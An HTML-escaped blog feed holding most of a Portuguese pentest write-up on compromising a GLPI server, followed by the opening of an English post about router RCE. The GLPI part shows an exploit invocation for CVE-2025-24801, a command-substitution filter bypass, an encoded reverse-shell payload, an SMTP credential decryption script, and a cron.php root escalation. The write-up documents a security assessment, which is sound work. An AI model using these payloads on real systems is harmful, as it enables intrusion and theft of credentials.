&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; argparse.ArgumentParser()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser.add_argument(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;-u&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;--url&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;   required&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; help&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;URL&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser.add_argument(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;-t&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;--token&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; required&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; help&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;api_token&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    args&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; argparser.parse_args()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    sess&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; generate_cookie(args.url, args.token)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Executando o script acima é possível obter um cookie de sessão para o usuário &lt;strong&gt;glpi&lt;&#x2F;strong&gt;. Com o cookie em mãos, finalmente pude me autenticar no GLPI. Para utilizar o cookie capturado, usei uma extensão no navegador chamada &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;chromewebstore.google.com&#x2F;detail&#x2F;cookie-editor&#x2F;hlkenndednhfkekhgcdicdfddnkalmdm&quot;&gt;&lt;strong&gt;Cookie-Editor&lt;&#x2F;strong&gt;&lt;&#x2F;a&gt; e inseri o valor capturado. Em seguida, atualizei a página e agora estou autenticado como o usuário &lt;strong&gt;glpi&lt;&#x2F;strong&gt; na instância do GLPI.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;cookie-editor.png&quot; alt=&quot;Extensão Cookie-Editor com o cookie inserido&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;glpi-interface.png&quot; alt=&quot;Interface do GLPI autenticada como super admin&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;criatividade-e-rce&quot;&gt;Criatividade e RCE&lt;&#x2F;h2&gt;
&lt;p&gt;Com uma sessão de &lt;strong&gt;super admin&lt;&#x2F;strong&gt; estabelecida, agora podemos prosseguir para o comprometimento interno desse GLPI. Conforme visto anteriormente, existe uma outra vulnerabilidade que afeta versões do GLPI inferiores à 10.0.17. Trata-se de uma vulnerabilidade catalogada como &lt;strong&gt;CVE-2025-24801&lt;&#x2F;strong&gt;, que explora uma vulnerabilidade de Local File Inclusion no mecanismo de definir uma fonte para arquivos PDF, cuja ideia é escrever uma webshell maliciosa no diretório temporário do GLPI (&lt;strong&gt;&#x2F;var&#x2F;www&#x2F;html&#x2F;glpi&#x2F;files&#x2F;_tmp&#x2F;&lt;&#x2F;strong&gt;) e acessá-la a partir deste Local File Inclusion, o que posteriormente nos permitirá escalonar para Remote Code Execution.&lt;&#x2F;p&gt;
&lt;p&gt;Primeiramente precisei de uma outra conta admin, pois o exploit que irei utilizar para explorar a vulnerabilidade requisita o usuário e a senha. Lembre-se de criar esta conta com o perfil &lt;strong&gt;super admin&lt;&#x2F;strong&gt;, assim garantimos todas as permissões necessárias.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;creating-account.png&quot; alt=&quot;Criando uma nova conta super admin no GLPI&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Além disso, precisei permitir o upload de arquivos PHP, o que pode ser feito a partir do formulário de tipos de documentos, da mesma forma que está sendo feita abaixo:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;allowing-php-files.png&quot; alt=&quot;Permitindo upload de arquivos PHP no GLPI&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Após permitir o envio de arquivos PHP, utilizei &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;r1beirin&#x2F;CVE-2025-24801&#x2F;&quot;&gt;o exploit desenvolvido pelo pesquisador &quot;ribeirin&quot; que está disponível em seu GitHub&lt;&#x2F;a&gt;. A sintaxe para a execução do exploit é simples, basta especificar as credenciais da conta administradora que criei anteriormente, a URL do alvo e o comando que desejo executar.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;python3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; cve-2025-24801.py&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; --username&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;usuari&lt;&#x2F;span&gt;&lt;span&gt;o&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; --password&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;#39;&amp;lt;senha&amp;gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; --url&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; https:&#x2F;&#x2F;example.com&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; --cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; hostname&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;obtaining-rce.png&quot; alt=&quot;Obtendo RCE no GLPI via CVE-2025-24801&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Conforme podemos ver na imagem acima, temos RCE no ambiente! Entretanto, executar comandos através do exploit limita a exploração. Como o entendimento da vulnerabilidade também é importante, enviei as requisições feitas pelo exploit ao Burp Suite através da adição de um proxy no script e tentei executar um comando com espaços e hífens, nesse caso, &lt;code&gt;uname -a&lt;&#x2F;code&gt;. Porém, o servidor está respondendo com &quot;403 Forbidden&quot;, ou seja, estava sendo bloqueado.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;rce-error.png&quot; alt=&quot;Erro 403 ao tentar executar comandos com espaços&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Podemos perceber que o servidor está bloqueando o comando, provavelmente através de um mecanismo de defesa nativo da aplicação ou um simples comportamento errôneo. Após algumas tentativas, com o apoio dos meus colegas de trabalho, pude descobrir uma maneira de contornar esse problema utilizando a técnica de &lt;strong&gt;Command Substitution&lt;&#x2F;strong&gt;. O &lt;strong&gt;Command Substitution&lt;&#x2F;strong&gt; é uma técnica que nos permite executar comandos dentro de crases &lt;em&gt;(backticks)&lt;&#x2F;em&gt; ou &lt;em&gt;$()&lt;&#x2F;em&gt;, onde o resultado do comando é substituído no local.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;command-substitution.png&quot; alt=&quot;Técnica de Command Substitution&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Com isso em mente, digamos que desejamos executar o comando &lt;code&gt;uname -a&lt;&#x2F;code&gt; novamente, mas desta vez com a técnica Command Substitution embutida, o comando final será:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;u`u`n`u`a`u`m`u`e%20-a&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;command-substituion-2.png&quot; alt=&quot;Command Substitution aplicada com sucesso ao uname -a&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Podemos notar que agora não há quaisquer bloqueios e o comando funciona normalmente. Com isso, basta formularmos o comando correto para estabelecer a reverse shell. A ideia que tive foi codificar o comando alvo em &lt;strong&gt;base64&lt;&#x2F;strong&gt; e utilizar as funções &lt;strong&gt;echo&lt;&#x2F;strong&gt; e &lt;strong&gt;base64 -d&lt;&#x2F;strong&gt;, resultando no comando abaixo:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;e`u`c`u`h`u`o+L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMC4wLjAuMC8wMCAwPiYxJw==|+b`u`a`u`s`u`e`u`6`u`4+-d+|+b`u`a`u`s`u`h&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;reverse-shell-1.png&quot; alt=&quot;Payload da reverse shell com Command Substitution e base64&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Ao verificar o servidor que estava ouvindo na porta 80, após enviar o payload da reverse shell, pude ver que a sessão foi estabelecida com sucesso e agora tenho acesso interno no GLPI, elevando o comprometimento da aplicação a outro nível.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;reverse-shell-2.png&quot; alt=&quot;Reverse shell estabelecida com sucesso&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;A partir deste ponto, executei mais dois ataques no ambiente:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Comprometimento a conta SMTP que estava configurada no ambiente;&lt;&#x2F;li&gt;
&lt;li&gt;Escalação de privilégios para root.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;comprometendo-conta-smtp&quot;&gt;Comprometendo Conta SMTP&lt;&#x2F;h2&gt;
&lt;p&gt;Iniciando com o comprometimento da conta SMTP do ambiente, vale entender que essas configurações ficam armazenadas no banco de dados do GLPI de forma criptografada. Felizmente, o GLPI armazena a chave privada desta criptografia em um arquivo chamado &lt;strong&gt;glpicrypt.key&lt;&#x2F;strong&gt;, que na maioria das vezes está no diretório da aplicação web. Então com a chave em mãos, descriptografar essas informações não seria um problema.&lt;&#x2F;p&gt;
&lt;p&gt;Para obter estes dados, acessei o banco de dados da aplicação a partir do binário do MySQL que já vem instalado por padrão em instâncias do GLPI. As credenciais do banco de dados podemos encontrar geralmente no arquivo de configurações do GLPI, que também fica no diretório da aplicação web.&lt;&#x2F;p&gt;
&lt;p&gt;Com elas em mão, utilizei o seguinte comando para me conectar ao banco de dados:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;mysql&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; -u&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;usuari&lt;&#x2F;span&gt;&lt;span&gt;o&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; -h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;hos&lt;&#x2F;span&gt;&lt;span&gt;t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; -p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;senha&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;connect-mysql.png&quot; alt=&quot;Conectando ao MySQL do GLPI&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Selecionei o banco de dados do GLPI (&lt;em&gt;glpi&lt;&#x2F;em&gt;) e usei o comando &lt;code&gt;SELECT * FROM glpi_configs\g&lt;&#x2F;code&gt; para capturar todas as configurações do GLPI. Também é possível utilizar &lt;code&gt;SELECT smtp_mode, smtp_host, smtp_port, smtp_username, smtp_passwd FROM glpi_configs\g&lt;&#x2F;code&gt; para uma melhor saída, mas optei por capturar todas para garantir que estava atrás dos itens corretos.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;mysql-data-1.png&quot; alt=&quot;Dados de configuração do GLPI no MySQL - parte 1&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;mysql-data-2.png&quot; alt=&quot;Dados de configuração do GLPI no MySQL - parte 2&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Com as informações coletadas, com foco na senha do usuário ligado ao serviço do SMTP, copiei o arquivo &lt;strong&gt;glpicrypt.key&lt;&#x2F;strong&gt; para minha máquina local e utilizei um script para realizar a descriptografia da senha capturada.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;php&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;&amp;lt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;php&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$encoded_value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; base64_decode&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;#39;Informação Encriptada Em Base64&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$nonce&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; substr&lt;&#x2F;span&gt;&lt;span&gt;($encoded_value,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ciphertext&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; substr&lt;&#x2F;span&gt;&lt;span&gt;($encoded_value,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$private_key&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; file_get_contents&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;#39;glpicrypt.key&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$decrypted&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; sodium_crypto_aead_xchacha20poly1305_ietf_decrypt&lt;&#x2F;span&gt;&lt;span&gt;($ciphertext, $nonce, $nonce, $private_key);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;Result: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; .&lt;&#x2F;span&gt;&lt;span&gt; $decrypted;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;?&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;decrypt-result.png&quot; alt=&quot;Resultado da descriptografia da senha SMTP&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Com a senha do usuário em mãos, consegui me autenticar com sucesso no ambiente Office da conta comprometida e a partir de lá também tive acesso a diversos outros ambientes da empresa cuja autenticação era feita a partir de SSO.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;escalonando-para-root&quot;&gt;Escalonando para Root&lt;&#x2F;h2&gt;
&lt;p&gt;Durante a enumeração do ambiente Linux, notei que meu usuário tem privilégio de escrita sobre o arquivo &lt;strong&gt;cron.php&lt;&#x2F;strong&gt;. O que acontece é que há um crontab configurado para executar este mesmo arquivo de tempos em tempos, porém com o usuário root, então o processo é simples: basta inserirmos uma reverse shell no &lt;strong&gt;cron.php&lt;&#x2F;strong&gt; e teremos privilégios de root.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;crontab.png&quot; alt=&quot;Crontab executando cron.php como root&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Optei inicialmente por testar a veracidade disso, portanto, fui ao arquivo &lt;strong&gt;cron.php&lt;&#x2F;strong&gt; e modifiquei o início do arquivo, adicionando a função &lt;strong&gt;system()&lt;&#x2F;strong&gt; do PHP e em seguida utilizei o &lt;strong&gt;nslookup&lt;&#x2F;strong&gt; e um endereço de callback, onde no início do endereço adicionei &lt;strong&gt;$(whoami)&lt;&#x2F;strong&gt; para que fosse impresso o usuário que está executando o &lt;strong&gt;nslookup&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;nslookup.png&quot; alt=&quot;Modificação do cron.php com nslookup para verificar o usuário&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Após um breve tempo para que o cron fosse executado, ao acessar o servidor web, pude notar que de fato &lt;strong&gt;o comando nslookup está sendo executado pelo usuário root&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;callback.png&quot; alt=&quot;Callback confirmando execução como root&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Bastou voltar ao arquivo cron.php e substituir o comando de nslookup por uma reverse shell genérica, conforme demonstrado abaixo:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;shell.png&quot; alt=&quot;Reverse shell inserida no cron.php&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Modificando o arquivo e salvando-o, aguardei novamente a execução do cron. Alguns minutos depois, tenho a shell root estabelecida com sucesso.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;quando-o-pentest-fica-bom-escopo-limitado-comprometimento-completo&#x2F;root.png&quot; alt=&quot;Shell root estabelecida com sucesso&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;A partir disto, estabeleci persistência no ambiente e também comprometi outros ambientes Linux que tinha acesso a partir dessa instância GLPI, além de também ter acesso ao ambiente AWS que estava configurado, elevando o comprometimento para além da instância GLPI original.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusao&quot;&gt;Conclusão&lt;&#x2F;h2&gt;
&lt;p&gt;Neste artigo abordo uma situação importante de analisar a diferença de código entre as versões de um software e como uma ideia pode ajudar a formular toda uma sequência de ataques que podem resultar em uma falha de maior impacto ao ambiente. Espero que este artigo contribua com os leitores e que possam ter aprendido algo a partir dele.&lt;&#x2F;p&gt;
&lt;p&gt;Agradeço também à Lexfo pelo ótimo artigo que foi um ponto chave para entender a causa da falha e como poderia me aproveitar dela para escalar privilégios dentro deste contexto.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;agradecimentos&quot;&gt;Agradecimentos&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.linkedin.com&#x2F;in&#x2F;guilhermedv&#x2F;&quot;&gt;Guilherme d&#x27;Ávila&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.linkedin.com&#x2F;in&#x2F;paulov1ctor&#x2F;&quot;&gt;Paulo Victor&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.linkedin.com&#x2F;in&#x2F;thau0x01&#x2F;&quot;&gt;Thauan Santos&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;referencias&quot;&gt;Referências&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;blog.lexfo.fr&#x2F;glpi-sql-to-rce.html&quot;&gt;blog.lexfo.fr — GLPI: From SQL Injection to RCE&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;glpi-project&#x2F;glpi&#x2F;compare&#x2F;10.0.17...10.0.18?diff=unified&amp;amp;w&quot;&gt;github.com — GLPI diff 10.0.17...10.0.18&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;r1beirin&#x2F;CVE-2025-24801&#x2F;tree&#x2F;main&quot;&gt;github.com — CVE-2025-24801 exploit by r1beirin&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Discovering an Authenticated RCE Vulnerability in My Old Router</title>
        <published>2025-01-10T00:00:00+00:00</published>
        <updated>2025-01-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              dsm
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://larper.me/blog/rce-in-my-router/"/>
        <id>https://larper.me/blog/rce-in-my-router/</id>
        
        <content type="html" xml:base="https://larper.me/blog/rce-in-my-router/">&lt;p&gt;Everything started when I watched a talk by &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=4_UI9zBLJp0&quot;&gt;Maycon Vitali at H2HC titled &quot;Internet of Sh!t - Maycon Vitali - H2HC University 2018&quot;&lt;&#x2F;a&gt;, where he discussed his process of discovering vulnerabilities in a Ubiquiti router. After watching the 30-minute talk, I stopped the video, looked around, and remembered an old router that I had in my house. I immediately searched for the power cable, plugged it in next to my desk, and checked if everything worked fine. After about 5 minutes, I scanned my network and found the router&#x27;s IP address. I made some changes and set the IP to &lt;code&gt;192.168.15.1&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;With everything set up, I ran &lt;code&gt;nmap -p- -open -vvvvv --min-rate=5000 -T3 -Pn&lt;&#x2F;code&gt; to check the available ports and running services.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-p-&lt;&#x2F;code&gt;: Scan all 65,535 TCP ports;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-v&#x2F;-vvvvv&lt;&#x2F;code&gt;: Enable verbose mode;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;--open&lt;&#x2F;code&gt;: Only show open (or possible open) ports;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;--min-rate&lt;&#x2F;code&gt;: Send packets no slower than X per second;&lt;&#x2F;li&gt;
